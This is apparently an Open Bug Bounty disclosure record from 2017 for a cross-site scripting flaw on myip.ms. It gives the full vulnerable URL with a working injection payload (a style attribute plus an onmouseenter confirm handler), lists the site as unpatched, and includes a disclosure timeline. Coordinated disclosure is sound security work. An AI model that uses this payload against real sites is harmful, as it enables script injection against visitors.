myip.ms XSS vulnerability

2017-05-05T08:49:00
ID OBB:231924
Type openbugbounty
Reporter Random_Robbie
Modified 2017-06-16T12:14:00

Description

Vulnerable URL:
https://myip.ms/info/search/1/stxt/OPENBUGBOUNTY/OPENBUGBOUNTY.html/"' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirm`OPENBUGBOUNTY` //
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 31.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 15868
VIP website status:| Yes
Check myip.ms SSL connection:| (Grade: A+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 5 May, 2017 08:49 GMT
Vulnerability existence verified and confirmed| 5 May, 2017 11:20 GMT
Generic security notifications sent to website owner| 5 May, 2017 11:20 GMT
Vulnerability details disclosed by researcher| 16 June, 2017 12:14 GMT